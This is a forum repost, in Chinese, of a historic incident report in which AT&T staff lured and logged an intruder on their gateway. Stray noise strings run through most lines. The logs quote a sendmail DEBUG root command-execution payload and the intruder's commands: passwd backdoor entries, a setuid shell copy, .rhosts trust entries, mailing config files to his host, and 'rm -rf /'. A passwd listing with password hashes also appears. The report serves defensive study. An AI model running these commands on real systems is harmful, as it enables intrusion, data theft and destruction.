引诱、欺骗并研究一个黑客——陪伴berferd的一个夜晚

[复制链接]
发表于 2011-1-12 21:02:07 | 显示全部楼层 |阅读模式
在1991年1月7号,一个黑客,他确信自己发现了我们的Internet网关计算机的sendmail的一个DUBUG漏洞的黑客,试图获得我们的password文件,我“送”给他了一份。
+ K0 _( M5 U4 H. p6 q, A$ H在几个月中,我们引诱这名黑客作各种快乐的尝试,以便于我们发现他的位置和使用的破解技术。这篇文章是对该黑客的“成功”和失败,我们使用的诱饵和陷阱的详细记录
, G2 w& V: _# |  c/ Q) o6 P2 m我们的结论是我们所遇到的这个黑客拥有大量的时间,固执异常,并持有一份优秀的系统漏洞列表。一旦他获得了系统的一个正式注册身份,使用那些漏洞他可以轻易的攻破uucp和bin帐号,然后是root。我们的黑客对军事目标和可以帮助他中转其连接的新机器很感兴趣。
7 F2 y( Q) \2 i) Y* H% i( _% v5 p* T简介
/ g) j, S; W9 r& j' q我们的安全Internet网关是1990年1月开始使用的。对于这个整个城堡的大门,我想知道它所可能遭到的攻击会有多么频繁。我明白Internet上有一些喜欢使用“暴力”的人,那么他们是谁?他们会攻击什么地方?会多么频繁?他们经常尝试系统的那些漏洞?8 Z9 u1 `" W& ?1 }. P" i1 R
事实上,他们没有对AT&T作出破坏,甚至很少光顾我们的这扇大门,那么,最终的乐趣只有如此,引诱一个黑客到一个我们设计好的环境中,记录下来他的所有动作,研究其行为,并提醒他的下一个目标作出防范。
* Q0 r3 E& F9 n' y2 C0 H$ ~, w& Z大多数Internet上的工作站很少提供工具来作这些事情,商业系统检测并报告一些问题,但是它们忽略了很多我们想要的东西。我们的网关每天产生10兆的日志文件。但人们对于日志记录以外的服务的攻击呢?
) t" {; `8 l. r* @我们添加了一些虚假的服务在系统上,同时我编写了一个script文件用来检索每天的日志。我们检查以下几点:2 D+ l# b  k6 W# L4 g
FTP :检索的工具会报告每天所有注册和试图注册的用户名。它还会报告用户对tilde的使用(这是个老版本的ftp的漏洞)、所有对ftp目录的/etc/passwd和/etc/group的存取以及对pub目录下完整文件列表的获取。获取passwd的人通常用它来获得系统的正式用户的注册名称,然后攻击、破解其密码。有时有些系统的管理员会将系统的真实passwd文件放在ftp的/etc目录下,我们伪造了一个passwd文件,它的密码被破解后是“why are you wasting your time.”
+ m% N; k- l& M1 S" HTelnet / login :所有试图login的动作都被记录了下来。这很容易就可以看出有些人在尝试很多帐号,或强力攻击某一个帐号。因为我们这个Internet的大门除了“警卫”外没有什么别的用户,很容易就可以找到问题所在。
; `0 s9 Q# K3 O, ?; N8 X1 \* XGuest / visitor 帐号:黑客们第一个寻找的就是公用帐号。这些帐号提供了友好的,最轻易的获取几乎系统的所有文件的机会,包括passwd文件。黑客也可以通过获取/etc/hosts.equiv文件或每个用户的.rhosts文件来获得机器的信任主机列表。我们对于这些帐号的login script文件是这样编写的:2 p1 `# y$ G4 d* }  m
exec 2>/dev/null # ensure that stderr doesn't appear
0 ~$ M, i* a( W6 ?0 T/ b+ Y$ ktrap "" 1
/ }+ b8 |3 q" i! ?/bin/echo4 i4 ~1 |+ U/ G. @- }
( /bin/echo "Attempt to login to inet with $LOGNAME from $CALLER" |
, w: z/ N! T4 ], K* t1 N( zupasname=adm /bin/mail ches dangelo &: H* d& h" E! A4 e1 _
# (notify calling machine's administrator for some machines...)
( e. s8 n/ a6 u% [% `9 V+ I1 u3 H# (finger the calling machine...)* n4 N8 a  ]. Y' [% Q
) 2>&1 | mail ches dangelo
; D0 [9 C/ O+ w$ `$ P/bin/echo "/tmp full"" T3 _3 v' F( p* X* ^; `4 j
sleep 5 # I love to make them wait..../ j# [' M" B& O4 g% m' R8 ~+ s
/bin/echo "/tmp full"- q. X4 p  r# l
/bin/echo "/tmp full"0 G. S5 b7 F, u9 k& e3 @$ w/ e6 q
/bin/echo% V  Q5 P( y8 n' H6 x" P( M
sleep 60 # ... and simulating a busy machine is useful# O8 ?- {1 [) k/ ]' g1 x& \  Q
我们必须小心以便不让调用者看到系统的标志出错信息(如果一旦我们编写的script有误)。注意$CALLER是在另一端的主机或IP地址。通过修改telnetd或login,它将可以通过环境变量来获取。
3 C* @" Q$ _% i9 RSMTP DEBUG : 这个命令提供了两个守候sendmail的漏洞的陷阱。虽然几乎所有的产品出售商都清除了这个漏洞,但偶尔仍有黑客尝试它。这个漏洞允许外部的使用者使用一段以root权限执行的script。当有些人尝试这个漏洞时,我就获得了他尝试的script代码。
; J+ P: q. f$ g* `. W2 B% fFinger :Finger提供了大量有用的信息给黑客:帐号名,该帐号的最后一次使用时间,以及一些可以用来猜测密码的信息。由于我们的组织不允许提供这些信息给别人,我们置入了一个程序,在finger了fingerd的调用者后拒绝figner请求。(当然我们会避免对来自自己的finger信息的死循环)。报告表明每天有数以十计的finger请求,其中大部分是合法的。
/ o: d- x% n9 b7 ]9 W9 pRlogin / rsh :这些命令都是基于一些无条件信任的系统,我们的机器并不支持。但我们会finger使用这些命令的用户,并将他的尝试和用户信息等生成报告。
3 b% J6 S! }5 X9 J' V5 D上述很多探测器都使用figner命令来查明调用的机器和使用者。9 D, V1 x0 _  U
当一个尝试显示为有不合法企图时,我就发出这样一条消息:
; F6 i; R, c# ^3 \, Kinetfans postmaster@sdsu.edu# K9 H5 B% X; w  e8 s( {& s2 D; k
Yesterday someone from math.sdsu.edu fetched the /etc/passwd file
. u5 x& B9 }5 p9 lfrom our FTP directory. The file is not important, but these probes4 b( ~6 C* d: c2 F* h: V1 |$ n
are sometimes performed from stolen accounts.# U, t. C0 w! h/ a; g& R
Just thought you'd like to know.
, M8 X& p" U( O8 V% b! Z- Y; N  FBill Cheswick! n2 I7 g  f6 d. {+ p+ J  g# i# |
这是一个典型的信件,它被发往“inetfans”,这些人属于计算机紧急响应小组(Computer Emergency Response Team , CERT)、某些兴趣小组或对某些站点感兴趣的人。% ?" N% f6 m8 X9 V
很多系统管理员很重视这些报告,尤其是军事站点。通常,系统管理员在解决这些问题上都非常合作。对这些信件的反应包括道歉,拒绝信件,关闭帐号以及沉默等等。当一个站点开来愿意支持黑客们的活动时,我们会考虑拒收来自该站的所有信息包。/ n9 a3 d8 i* l" u6 Q  j
不友好的行动1 R6 M' k2 N+ Q" x' C: v1 X5 n8 O
我们从1990年1月设置好这些探测器。统计表明被攻击率在每年学校的假期期间会上升。我们的被攻击率可能比其他站点高,因为我们是广为人知的,并被认为是“电话公司”。
4 {, `, f$ E0 b9 o8 h当一个远程使用者取走passwd文件时,并不是所有的人都出于恶意的目的。有时他们只是想看看是否传输能正常工作。1 Y  n5 L8 U  u" Z/ w
19:43:10 smtpd[27466]: <--- 220 inet.att.com SMTP! Y/ ]3 x3 }% A; i8 @, r
19:43:14 smtpd[27466]: -------> debug
1 U2 {! S3 M% }8 `$ _- u19:43:14 smtpd[27466]: DEBUG attempt
: {; S* }0 M; M  q9 G8 ~/ N8 z19:43:14 smtpd[27466]: <--- 200 OK9 J  B* K8 D* j" m6 a
19:43:25 smtpd[27466]: -------> mail from:
3 L$ w: R& i2 D, r7 T, o% M19:43:25 smtpd[27466]: <--- 503 Expecting HELO* x0 i9 |) `  {0 }1 p! w) _9 [3 G% k
19:43:34 smtpd[27466]: -------> helo3 s9 |7 n) e! Y8 b& |
19:43:34 smtpd[27466]: HELO from  j- k+ Q4 K2 l
19:43:34 smtpd[27466]: <--- 250 inet.att.com5 N7 f, {8 x. J% G
19:43:42 smtpd[27466]: -------> mail from:
- ]. |) J9 E" k5 y8 s  _19:43:42 smtpd[27466]: <--- 250 OK
- a9 h: h0 x- \) U9 Z* r19:43:59 smtpd[27466]: -------> rcpt to: 19:43:59 smtpd[27466]: <--- 501 Syntax error in recipient name* M- e. l6 _* }1 o
19:44:44 smtpd[27466]: -------> rcpt to:<|sed -e '1,/?$/'d | /bin/sh ; exit 0">4 U: {* ?: K* E$ y
19:44:44 smtpd[27466]: shell characters: |sed -e '1,/?$/'d | /bin/sh ; exit 0"
0 q! Z8 ^( M, A; j- h, d% `! I( u19:44:45 smtpd[27466]: <--- 250 OK4 W  o) I7 O# Y8 n3 a) }! Q
19:44:48 smtpd[27466]: -------> data
( Z' n# b- M# O8 l3 O& ]19:44:48 smtpd[27466]: <--- 354 Start mail input; end with .
/ U# Y4 y  ~3 ^& {% Q19:45:04 smtpd[27466]: <--- 250 OK
9 m1 y0 F2 j" l# Q, N0 B$ j: P19:45:04 smtpd[27466]: /dev/null sent 48 bytes to upas.security* j7 H8 ?) R9 `& M1 i
19:45:08 smtpd[27466]: -------> quit  T& s  ^5 h* m$ _( x
19:45:08 smtpd[27466]: <--- 221 inet.att.com Terminating
9 U  _7 Q% ?6 k' {5 {6 l19:45:08 smtpd[27466]: finished.5 S. r# ?9 o1 K4 U
这是我们对SMTP过程的日志。这些看来很神秘的日志通常是有两个邮件发送器来相互对话的。在这个例子中,另一端是由人来键入命令。他尝试的第一个命令是DEBUG。当他接收的“250 OK”的回应时一定很惊奇。关键的行是“rcpt to :”。在尖括号括起的部分通常是一个邮件接收器的地址。这里它包含了一个命令行。Sendmail在DEBUG模式下用它来以ROOT身份执行一段命令。即:4 q. a1 z9 L6 ~/ u
sed -e '1,/?$/'d | /bin/sh ; exit 0"$ S0 j9 C6 O* O0 `
它剥去了邮件头,并使用ROOT身份执行了消息体。这段消息邮寄给了我,这是我记录下来的,包含时间戳:
# W! X& P  D, j+ y6 M19:45 mail adrian@embezzle.stanford.edu 19:51 mail adrian@embezzle.stanford.edu 他希望我们邮寄给他一份我们的passwd文件。大概用来运行一些passwd破解程序。所有这些探测结果都来自EMBEZZLE.STANFORD.EDU的一个adrian用户。他在美国空袭伊拉克半个小时后公然作出敌意反应。我怀疑是萨达姆雇佣了一两个黑客。我恰巧在ftp的目录下有一个假的passwd文件,就用root身份给Stanford发了过去。
) c1 S; P, O# o. V7 r第二个早晨,我听到了来自Stanford的消息:他们知道了这件事,并正在发现问题所在。他们说adrian这个帐号被盗用了。
6 ?- I- ?, N: w0 Q接着的一个星期天我接到了从法国发来的一封信:
/ D& i( [8 g, vTo: root@research.att.com+ v" A; W- j, r4 I
Subject: intruder
5 D" r2 ?. l# j2 p$ v5 O, wDate: Sun, 20 Jan 91 15:02:53 +0100( X" O/ p$ x' f% J
I have just closed an account on my machine
) h0 \, {8 s4 m: Gwhich has been broken by an intruder coming from embezzle.stanford.edu. He9 z& _) `0 J9 E* a
(she) has left a file called passwd. The contents are:
# k- _: Y3 F: G5 K------------>! q1 ~5 `2 V. N7 M; I
From root@research.att.com Tue Jan 15 18:49:13 19915 Z0 K7 v, e$ N4 ?; E1 X) ^
Received: from research.att.com by embezzle.Stanford.EDU (5.61/4.7);
% a* M% _1 ?3 kTue, 15 Jan 91 18:49:12 -0800
( O5 r( {* m9 FMessage-Id: <9101160249.AA26092@embezzle.Stanford.EDU>9 t# t9 L" l! I2 j6 h. G
From: root@research.att.com6 w. V8 B3 N" ]9 q+ h
Date: Tue, 15 Jan 91 21:48 EST# @( }7 i, a# i' N$ G/ }" l9 H9 F
To: adrian@embezzle.stanford.edu: B" s5 y* ^% w, W! Q
Root: mgajqD9nOAVDw:0:2:0000-Admin(0000):/:* X! G, x. s# C% S: v" }
Daemon: *:1:1:0000-Admin(0000):/:/ v, N4 U( k9 }% o, l, ]
Bin: *:2:2:0000-Admin(0000):/bin:
3 Q8 u/ I# O# N$ s0 bSys: *:3:3:0000-Admin(0000):/usr/v9/src:, g5 G6 b$ r$ i) U/ P% U7 z- \
Adm: *:4:4:0000-Admin(0000):/usr/adm:
- L4 }" A6 ~6 a1 wUucp: *:5:5:0000-uucp(0000):/usr/lib/uucp:
* t( ^" z8 }' q  Q/ S2 X9 J% @Nuucp: *:10:10:0000-uucp(0000):/usr/spool/uucppublic:/usr/lib/uucp/uucico
# E7 w' S; K5 \( vFtp: anonymous:71:14:file transfer:/:no soap
/ @* m& m7 H( e- r2 V+ VChes: j2PPWsiVal..Q:200:1:me:/u/ches:/bin/sh
& ~* G$ h& H% r5 A8 ]5 w) m4 eDmr: a98tVGlT7GiaM:202:1:Dennis:/u/dmr:/bin/sh: }* m' s# O  r
Rtm: 5bHD/k5k2mTTs:203:1:Rob:/u/rtm:/bin/sh9 o2 ]5 D( m; m7 A# |
Berferd: deJCw4bQcNT3Y:204:1:Fred:/u/berferd:/bin/sh
# u$ Z- J4 W7 GTd: PXJ.d9CgZ9DmA:206:1:Tom:/u/td:/bin/sh- M& f- H7 x$ p( c$ U- q4 u
Status: R) f7 ~' j& X: w/ C
------------Please let me know if you heard of him.
$ L9 l3 g3 J1 H3 q  c4 k陪伴Berferd的一个夜晚5 E% d. ~/ ^3 p2 {- b
1月20号,星期天晚上,我的终端报告有安全敏感事件。0 a$ D, R( R5 d, S. s: e
22:33 finger attempt on berferd3 B. N9 A3 e; T" ?9 a2 Q
几分钟后,有人试图使用DEBUG来用ROOT身份执行命令,他试图修改我们的passwd文件!5 B4 \  b. A  p% M- X3 h9 F
22:36 echo "beferdd::300:1:maybe Beferd:/:/bin/sh" >>/etc/passwd( {+ J6 Z% [5 y# @$ l5 C# }# x6 a5 J
cp /bin/sh /tmp/shell
) q/ T, b9 u0 a/ y% Lchmod 4755 /tmp/shell
! o- ~& d6 G/ w/ z% g连接同样来自EMBEZZLE.STANFORD.EDU。5 Y0 k$ Q/ {3 F6 U- `/ z6 i+ q6 r9 j
我该怎么作呢?我不希望他真的能获得一个网关的帐号,为什么引狼入室呢?那样我将得不到他的键盘活动。
7 `- n2 `1 X  D0 t8 ^- y" S我应该继续看看他关注的其他事情,或许我可以手工模拟一下操作系统,这意味着我必须让他以为机器速度很慢,因为我无法和MIPS M/120相比。同时意味着我必须模拟一个一致的操作系统。
, f5 h) [' h; g' O; q( x我已经有一个要求了,因为他已经持有了一份passwd。
# N* c+ o# i( B# h决定一:ftp的passwd是一个真实的passwd。+ T3 l/ |% v  ?. U( \
还有另外的两个:, ]5 }8 I9 ?( m8 Q% G+ _
决定二:网关机器管理极差。(有DEBUG漏洞,ftp目录里有passwd)。
" _( |5 n. Y4 Y+ I决定三:网关机器极慢。5 T$ d5 ]1 B8 u
因此我决定让他以为他已经改变了passwd文件,但却不急于让他进来。我必须生成一个帐号,但却使它不可操作。我应该怎么办?
6 V: U, b& c0 |& F  b9 ?+ l' I决定四:我的shell并没有放在/bin下,它放在其他地方。这样,他进来后(让他认为passwd已经改动了),没有可运行的shell。3 H( h3 X) i$ L& _; Q8 @, {- h
这个决定很愚蠢,但我不会因此损失任何东西。我写了一个script,生成了一个临时帐号b,当它被调用时它会给我发信,调用者将看到如下信息:" T/ {/ \% o% t- m8 V- y/ @, M# f
RISC/os (inet)
: h3 ]& R; b! i4 B; \% U9 X  ]login: b
$ _5 m0 n# J- V; |RISC/os (UMIPS) 4.0 inet' I4 w3 u3 _, L) e' o. Z
Copyright 1986, MIPS Computer Systems9 \; Y1 B- R5 q
All Rights Reserved1 I8 e, B% ]0 }8 z
Shell not found* Y: d: v' c/ }3 t' q# o
我把b帐号在实际passwd文件中改成了beferd,当我作完后,他在此尝试:
% I0 G0 r& T& b* @' l! ?! t22:41 echo "bferd ::301:1::/:/bin/sh" >> /etc/passwd7 I: d% m8 n  `. e' Q: f
他的另一个试图添加到passwd文件的尝试。事实上,在我为bferd完成新的配置之前他开始急躁了:
# p/ R7 q7 }( L" \( _7 K22:45 talk adrian@embezzle.stand?Hford.edu
( V3 p0 |! c9 X6 H0 J+ I  ^+ c% H; }; mtalk adrian@embezzle.stanford.edu
$ L* J4 H& `1 U1 }0 h决定五:我们没有talk这个命令。
1 s4 w9 B* S3 ^$ C3 l, X$ M& ?他选择了berferd这个帐号:* H0 Y0 a9 ~' R! ?) c& R* l# u& U! o
22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU: q% y5 W$ m/ b1 t+ k2 d" V- R% |
22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU1 G8 |' u# b; s$ C5 V6 Q3 y
22:49 Attempt to login to inet with bferd from embezzle.Stanford.EDU
6 S2 a3 m. `: \5 W22:51 (Notified Stanford of the use of Tip-QuadA.Stanford.EDU)0 K0 y- H& D( z. ^, ^) w  G  ^
22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU
* e& t6 K, w0 U. K22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU% H' j- r, ?1 M$ [% l
22:55 echo "bfrd ::303:1::/tmp:/bin/sh" >> /etc/passwd
( C1 D2 s$ |% a: r: L7 w4 f9 H22:57 (Added bfrd to the real password file.)
+ }$ H/ F+ e. N; I# c, V22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU- K5 _) @2 Y6 L) G4 P4 f! ]
22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
& m! @3 d" V  x! E" \23:05 echo "36.92.0.205" >/dev/null# z+ P, v2 O; B4 g! O' R: R
echo "36.92.0.205 embezzle.stanford.edu">>/etc./?H?H?H4 m- q( \& S! Y* h
23:06 Attempt to login to inet with guest from rice-chex.ai.mit.edu
$ c5 T/ j& b: |  q, c& w0 h' F8 c23:06 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts
, r& Y8 Z- {- [5 k' U" K0 k" o23:08 echo "embezzle.stanford.edu adrian">>/tmp/.rhosts9 r! B0 E! o' r2 g- j  |9 X; v; R
很显然他希望能够rlogin到我们的网关,这需要一些本地文件的特定设置。我们并没有作rlogin的检测。4 I6 o" a' {" R$ n( F$ W
这时他又有新的动作:
$ v) w* [* D! F1 k& f6 b9 z23:09 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
3 |7 e" w" {4 M% z23:10 Attempt to login to inet with bfrd from embezzle.Stanford.EDU7 y+ x! Y. |' F8 |! }) c+ o* [
23:14 mail adrian@embezzle.stanford.edu < /etc/inetd.conf
: ?* q% T* b. Q7 R7 v9 D; c$ q; |1 `; tps -aux|mail adrian@embezzle.stanford.edu
) ^% K" O8 ]6 U- B- v# C  T: Q在rlogin失败后,他希望能得到我们的inetd.conf文件来查看我们究竟启动了什么服务。我不想让他看到真正的inetd.conf,但伪造一个又非常困难。' u! w) Q) t& u' B! \8 [2 c4 z
决定七:网关机器运行不稳定,时有不确定事件。
3 e6 E, Y. w* X' N4 y  u23:28 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts
/ n  o' A7 i5 Lecho "embezzle.stanford.edu adrian" >> /tmp/.rhosts, j3 C" W$ z" T. f% y8 g2 y
ps -aux|mail adrian@embezzle.stanford.edu  v* a. ]7 j8 V" Q4 L$ c
mail adrian@embezzle.stanford.edu < /etc/inetd.conf( b7 g% R& v3 u* N3 {; o4 x
我不希望他看到ps的结果,幸运的是,他的Berkeley系统的ps命令在我的System V机器上是无效的。! ?# x+ Q6 r  f, D* Q; r
这时我通知了CERT,这时一起严重的攻击事件,在Stanford也应该有追踪这些请求的人。这时,活动又转到ftp上来:
+ {4 i& j1 H. N/ C: p! MJan 20 23:36:48 inet ftpd[14437]: <--- 220 inet FTP server$ E' ~8 N8 h# G: C
(Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready.
; o" [  P$ o1 f. P% |1 y3 rJan 20 23:36:55 inet ftpd[14437]: -------> user bfrd?M3 y2 D0 P) @$ Y; e3 N
Jan 20 23:36:55 inet ftpd[14437]: <--- 331 Password required for bfrd.
2 S8 D3 i0 z9 S/ r! F6 nJan 20 23:37:06 inet ftpd[14437]: -------> pass?M& k* z1 c* r+ C& p- |# \
Jan 20 23:37:06 inet ftpd[14437]: <--- 500 'PASS': command not understood.
& q. O2 y  E1 _# dJan 20 23:37:13 inet ftpd[14437]: -------> pass?M' @- s. k$ L' A" f6 u
Jan 20 23:37:13 inet ftpd[14437]: <--- 500 'PASS': command not understood.% F0 z0 m3 w- A, {) M- T1 v2 B7 A) N% g
Jan 20 23:37:24 inet ftpd[14437]: -------> HELP?M/ v3 Z/ q: F" `- |% X
Jan 20 23:37:24 inet ftpd[14437]: <--- 214- The following commands are( r; ]" J: \0 `2 W/ U" `3 R
recognized (* =>'s unimplemented).
. X+ p; P$ O' ^Jan 20 23:37:24 inet ftpd[14437]: <--- 214 Direct comments to ftp-bugs@inet.
3 R+ T6 e. L& K# q% s' s9 o1 eJan 20 23:37:31 inet ftpd[14437]: -------> QUIT?M
$ P' |; q  |; E1 {/ zJan 20 23:37:31 inet ftpd[14437]: <--- 221 Goodbye.( Y; O3 B5 y2 c3 v9 n% k1 m) |
Jan 20 23:37:31 inet ftpd[14437]: Logout, status 0* _5 q$ `( J0 y" l  J; v# i
Jan 20 23:37:31 inet inetd[116]: exit 14437
, R% N3 @+ Z/ ~! C% \) F6 tJan 20 23:37:41 inet inetd[116]: finger request from 36.92.0.205 pid 14454
& }& y" S0 |- g8 L: f2 YJan 20 23:37:41 inet inetd[116]: exit 14454
3 p/ s8 g# j8 C+ n5 k% V23:38 finger attempt on berferd. u/ V# q; @6 l9 q
23:48 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts.equiv
( q1 o, ~: [- g9 p; e4 x23:53 mv /usr/etc/fingerd /usr/etc/fingerd.b3 N* e2 k6 J" P8 C
cp /bin/sh /usr/etc/fingerd. t. s4 s) A) L$ k; ~6 v- r1 X( [5 v
决定四已经决定了最后一行的尝试必然失败。因此,他只是破坏了我们模拟的机器上的finger而已,并没有将之替换成一个shell程序。我关闭了实际的fingerd程序。& ?8 r7 \7 _2 [% y: v  S7 }* g
23:57 Attempt to login to inet with bfrd from embezzle.Stanford.EDU. M& x' r: q: L% X) q' _
23:58 cp /bin/csh /usr/etc/fingerd+ t) e% ]+ ~' D$ a
我们模拟的机器上csh并不在/bin下,因此这个命令无效。
* Y- ~; ^$ h) o7 N' f- b7 G00:07 cp /usr/etc/fingerd.b /usr/etc/fingerd2 y! U' p: W3 D6 l+ t1 T* Q' R
好吧,fingerd现在重新开始工作。Berferd的恢复工作干的不错。0 [0 r7 O' m$ ^0 ^3 U0 M
00:14 passwd bfrt& U: f4 x8 L8 v1 o' ?5 |
bfrt
' W- `5 \' c$ R! x8 {  Ibfrt1 C- G# f# W3 i/ d, h0 @- }1 ^" Z
现在他试图修改password,这永远不会成功,因为passwd的输入是/dev/tty,不是sendmail所执行的shell script。0 Y( I8 N: h8 n3 V, I
00:16 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
, {0 W) }/ i, z+ x: U& _00:17 echo "/bin/sh" > /tmp/Shell
" X& l6 C8 Y: S1 `chmod 755 /tmp/shell
3 D2 Z" t$ ~4 l$ J- e3 F3 @* Xchmod 755 /tmp/Shell
! D& m' `. n0 X1 N00:19 chmod 4755 /tmp/shell- U( y' p3 N# U% z
00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU4 Q" I, ]. Z% l$ X: a& ^1 z
00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU3 S* U9 }7 K$ ?
00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
$ q5 u5 q3 w* N( r3 p00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU. A1 C1 Y* ?$ w% m( l- V
这时我已经很累了。6 H' _/ t8 z8 x9 W1 X# i
01:55 rm -rf /&6 L; u' ~) q& e  ]2 r' b* Z; [
喔!!太狠了!显然机器的状态让他迷惑,他希望能清除所有的痕迹。有些黑客会保护自己所作的工作,声明自己不作任何破坏。我们的黑客对我们感到疲劳了,因此以此结束。
8 G0 f) n! @% D他继续工作了几分钟,后来放弃:
# O9 C7 c% \8 ~. u07:12 Attempt to login to inet with bfrd from embezzle.Stanford.EDU$ t( ~$ K3 w/ o% f
07:14 rm -rf /&% l9 c+ F$ P  E. e( p( g
07:17 finger attempt on berferd+ b8 K$ a( I/ M* E: Z! v) Y
07:19 /bin/rm -rf /&
0 w. }5 T( V# G, A/ Z6 B& f3 j$ ]6 n/bin/rm -rf /&* k; @; O) U9 z  o
07:23 /bin/rm -rf /&6 n' e& L8 F4 s9 i$ D5 \
07:25 Attempt to login to inet with bfrd from embezzle.Stanford.EDU3 |) y2 p  E# G9 ?2 M1 z) ^
09:41 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
$ Q+ N  s2 V( T. u! r) N
您需要登录后才可以回帖 登录 | 注册

本版积分规则

关注公众号

相关侵权、举报、投诉及建议等,请发 E-mail:admin@discuz.vip

Powered by Discuz! X5.0 © 2001-2026 Discuz! Team.|鲁ICP备19052200号-1

在本版发帖
关注公众号
QQ客服返回顶部